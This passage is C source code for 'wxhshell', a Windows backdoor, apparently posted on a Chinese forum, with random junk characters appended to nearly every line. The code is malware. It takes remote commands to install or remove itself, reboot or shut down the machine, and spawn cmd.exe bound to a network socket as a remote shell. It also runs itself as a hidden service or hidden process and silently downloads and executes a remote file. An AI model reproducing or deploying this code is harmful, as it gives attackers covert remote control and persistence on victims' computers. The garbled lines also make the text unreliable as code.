  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nE^Qy=iE  
  } A6pjRxg  
  else { S:x?6IDPC^  
f}@jFhr'<  
    switch(cmd[0]) { )h8\u_U  
  QtJg ^2@  
  // 帮助 *s>BG1$<  
  case '?': { 't9hXzAfW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D.1J_Y=9  
    break; o,!T2&}  
  } eU N"w,@y  
  // 安装 C$@yG)Pj   
  case 'i': { p!<$vE  
    if(Install()) #zR bx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?x0pe4^If  
    else q=DN {a:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f~_th @K  
    break; Y"6w,_'m  
    } EgDQ+( -  
  // 卸载 $Tb G+Eb8  
  case 'r': { W{rt8^1  
    if(Uninstall()) &%_& 8DkG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @j4U^"_QB  
    else Eb=#9f%y>&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vQa'S-@u  
    break; <6G1 1-K  
    } f7'q-  
  // 显示 wxhshell 所在路径 a+9 *@z2  
  case 'p': { AT\qiznvP  
    char svExeFile[MAX_PATH]; xGG,2W+z  
    strcpy(svExeFile,"\n\r"); _` [h,=  
      strcat(svExeFile,ExeFile); }h}<! s  
        send(wsh,svExeFile,strlen(svExeFile),0); 6Vbzd0dk  
    break; 7oR:1DX w|  
    } ) 9oH,gZ  
  // 重启 )#}mH@  
  case 'b': { KPpHwcYxT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G5,~Z&}YS  
    if(Boot(REBOOT)) $L2%u8}8:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nxJee=qH  
    else { o8Z[+;  
    closesocket(wsh); B=@ jWz"  
    ExitThread(0); wHem5E  
    } ;kJu$U  
    break; 2Gs$?}"a  
    } hG_?8:W8HT  
  // 关机 snt(IJQ  
  case 'd': { 7 uarh!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n 8pt\i0  
    if(Boot(SHUTDOWN)) _6Eu2|vM&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7'-j%!#w  
    else { eJo3 MK  
    closesocket(wsh); /LM4- S  
    ExitThread(0); rO:u6."_  
    } cf7v[ZZ}  
    break; w?,M}=vg  
    } KnNh9^4"\2  
  // 获取shell }rdIUlVO\  
  case 's': { c0Dmq)HK?  
    CmdShell(wsh); kpI{KISQu  
    closesocket(wsh); \M"UmSB o  
    ExitThread(0); olW|$?  
    break; 6ITLGA  
  } *E~VKx1  
  // 退出 5eA8niq#  
  case 'x': { jkF8\dR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :EtMH(  
    CloseIt(wsh); '>v^6i S  
    break; =U. b% uC  
    } (LtkA|:  
  // 离开 X{g%kf,D=  
  case 'q': { gLSA!#[ h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $y?k[Y-~  
    closesocket(wsh); G3G6IP  
    WSACleanup(); =9LC<2  
    exit(1); f):~8_0b  
    break; R4<lln:[  
        } z1!6%W_.  
  } o y<J6  
  } SjEdyN#  
!4rPv\   
  // 提示信息 RAjkH`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~=Ncp9ej#  
} rz(0:vxwA  
  } Q8MS,7y/  
m4[g6pNx~  
  return; ?'r9"M>  
} hGf-q?7  
{FI\~ q  
// shell模块句柄 vSW L$Y2  
int CmdShell(SOCKET sock) b59{)u4F  
{ [ "xn5l E  
STARTUPINFO si; <fdPLw;@e4  
ZeroMemory(&si,sizeof(si)); {$M;H+Foh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )n=ARDd^e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?_`0G/xl  
PROCESS_INFORMATION ProcessInfo; 1 11D3  
char cmdline[]="cmd"; kHJ96G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M"_FrIO  
  return 0; jFerYv&K~  
} PVa o  
<TNk?df7  
// 自身启动模式 ^\:2}4Uj_  
int StartFromService(void) jvzBh-!  
{ * \HRw +cL  
typedef struct ;:m&#YJV  
{ M)cGz$Q|  
  DWORD ExitStatus; T!Sj<,r+j  
  DWORD PebBaseAddress; vRPS4@9'  
  DWORD AffinityMask; &gc `<kLu  
  DWORD BasePriority; 9zgNjjCl]  
  ULONG UniqueProcessId; Z v0C@r  
  ULONG InheritedFromUniqueProcessId; h<+ |x7u  
}   PROCESS_BASIC_INFORMATION; o7+>G~i  
Q&M'=+T  
PROCNTQSIP NtQueryInformationProcess; /9Ilo\MdD  
J`#` fX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3hq1yyec  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~k'V*ERNSj  
>m_v5K  
  HANDLE             hProcess; dZ :r&Qa  
  PROCESS_BASIC_INFORMATION pbi; nE y]`  
tk/`%Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y~n` ~(  
  if(NULL == hInst ) return 0; fn9#>~vrD  
s%;<O:x8o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "D* Wi7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &B!%fd.'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w5]l1}rl  
:k46S<RE  
  if (!NtQueryInformationProcess) return 0; %d: A`7x  
A 2x;fgi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |)@N-f:E  
  if(!hProcess) return 0; -cNx1et  
gY`Nr!O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U '[?9/T  
1h"_[`L'  
  CloseHandle(hProcess); 8o)L,{yl  
wAbp3hX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {4ptu~8  
if(hProcess==NULL) return 0; C4$/?,K(  
]2+g&ox4'  
HMODULE hMod; hbuZaxo<  
char procName[255]; r3I,11B  
unsigned long cbNeeded; 4Y tk!oS`  
~hURs;Sb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ${U6=  
oVZ4bRl   
  CloseHandle(hProcess); u9![6$R  
Y~oT)wTU  
if(strstr(procName,"services")) return 1; // 以服务启动 Rq7p29w  
W81o"TR|pt  
  return 0; // 注册表启动 j"<Y!Y3  
} NMjnL&P`  
0 15Owi  
// 主模块 jeDlH6X'  
int StartWxhshell(LPSTR lpCmdLine) yBz >0I3  
{ $<e +r$1  
  SOCKET wsl; J(d2:V{h  
BOOL val=TRUE; ccO aCr  
  int port=0; \_oy$>;  
  struct sockaddr_in door; F(CRq`  
W._G0b4}  
  if(wscfg.ws_autoins) Install(); = cfm=+  
0->/`/xm  
port=atoi(lpCmdLine); D6!tVdnVe  
_1JmjIH)M  
if(port<=0) port=wscfg.ws_port; PI7IBI  
6tOi^+qN  
  WSADATA data; 5_G'68;OV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J0Four#MD  
j%M @#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L+Pc<U)T+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o`%I{?UCDJ  
  door.sin_family = AF_INET; \7E`QY4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0~xaUM`  
  door.sin_port = htons(port); X}apxSd"  
$e/*/.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IYNMU\s  
closesocket(wsl); MOV =n75  
return 1; >.Q0 Tx!P  
} ?~qC,N[  
[:i sZG*  
  if(listen(wsl,2) == INVALID_SOCKET) { R^9"N?Q7;`  
closesocket(wsl);  ,o&<WMD  
return 1; 96W4 c]NT  
} |h1^G v  
  Wxhshell(wsl); tL8't]M,  
  WSACleanup(); g)M#{"H  
w2 )/mSnu  
return 0; -fM1$/]  
}W "(c YN_  
} h}6b&m  
y@9Y,ZR*  
// 以NT服务方式启动 ;a{rWz1Wm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,cQ)cY[  
{ DN|vz}s  
DWORD   status = 0; -I vL+}K  
  DWORD   specificError = 0xfffffff; Xr2J:1pgg  
d2ofxfpg+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; luF#OPC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zZYHc?Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -ddOh<U>  
  serviceStatus.dwWin32ExitCode     = 0; s1@@o#r  
  serviceStatus.dwServiceSpecificExitCode = 0; ew"m!F#  
  serviceStatus.dwCheckPoint       = 0; Ao!=um5D J  
  serviceStatus.dwWaitHint       = 0; -eYL*Pa  
nE<J`Wo$f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RQ5P}A 3H  
  if (hServiceStatusHandle==0) return; K|~AA"I;  
jmPp-} tS7  
status = GetLastError(); S%V%!803!  
  if (status!=NO_ERROR) nB}e1 /_y  
{ /a%KS3>V*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H8"tbU  
    serviceStatus.dwCheckPoint       = 0; o@@w^##  
    serviceStatus.dwWaitHint       = 0; vUfO4yfdg  
    serviceStatus.dwWin32ExitCode     = status; F=5kF/}x-z  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ko-QR(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #,Bj!'Q'-  
    return; q5gP~*?  
  } coO.kTO;  
ULbP_y>(Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #x|VfN5f  
  serviceStatus.dwCheckPoint       = 0; 7n>|D^  
  serviceStatus.dwWaitHint       = 0; Gavkil  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .ftUhg  
} J<-Fua^  
WV~SL/k|   
// 处理NT服务事件,比如:启动、停止 HtS#_y%(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cB36p&%  
{ .6I%64m  
switch(fdwControl) Vdy\4 nu(  
{ |Qq+8IeYG  
case SERVICE_CONTROL_STOP: ]Qy,#p'~&H  
  serviceStatus.dwWin32ExitCode = 0; q\G{]dz?R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j>g9\i0O1  
  serviceStatus.dwCheckPoint   = 0; DUPmq!A  
  serviceStatus.dwWaitHint     = 0; `~KAk  
  { wJr/FE 7c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2?pM5n  
  } (77Dif0)'  
  return; X?_v+'G  
case SERVICE_CONTROL_PAUSE: P ]_Vz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mlmnkgl ]  
  break; ;lkf+,;  
case SERVICE_CONTROL_CONTINUE: 6%z`)d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rOhA*_EG  
  break; nO%<;-=u\  
case SERVICE_CONTROL_INTERROGATE: kz|[*%10  
  break; )rS^F<C  
}; KD9Ca $-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B4 <_"0  
} OT"lP(,  
~CJYQFt  
// 标准应用程序主函数 R =QM;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H;X~<WN&AW  
{ G)K9la<p  
!zl/0o  
// 获取操作系统版本 "9.6\Y\*  
OsIsNt=GetOsVer(); L7[X|zmy*x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E'fX&[  
@)06\ h  
  // 从命令行安装 Q,O]x#  
  if(strpbrk(lpCmdLine,"iI")) Install(); 00R%  
ir"* iL=  
  // 下载执行文件 =I{S;md  
if(wscfg.ws_downexe) { uJ7,rq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :nTkg[49pJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); ud!r*E  
} C=M?  
FJ nG<5Rh  
if(!OsIsNt) { MEDskvBG  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z|f^nH#-C  
HideProc(); &AN%QhI  
StartWxhshell(lpCmdLine); ..]B9M.  
} c '/2F0y  
else b<48#Qy~l  
  if(StartFromService()) ,\Z8*Jr3Q  
  // 以服务方式启动 Lp~c  
  StartServiceCtrlDispatcher(DispatchTable); baA HP "  
else mn,=V[f  
  // 普通方式启动 #`2GAM];7  
  StartWxhshell(lpCmdLine); WodF -bE  
chMt5L+5  
return 0; 69[w/\  
}
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只看该作者 1 发表于: 2006-10-10
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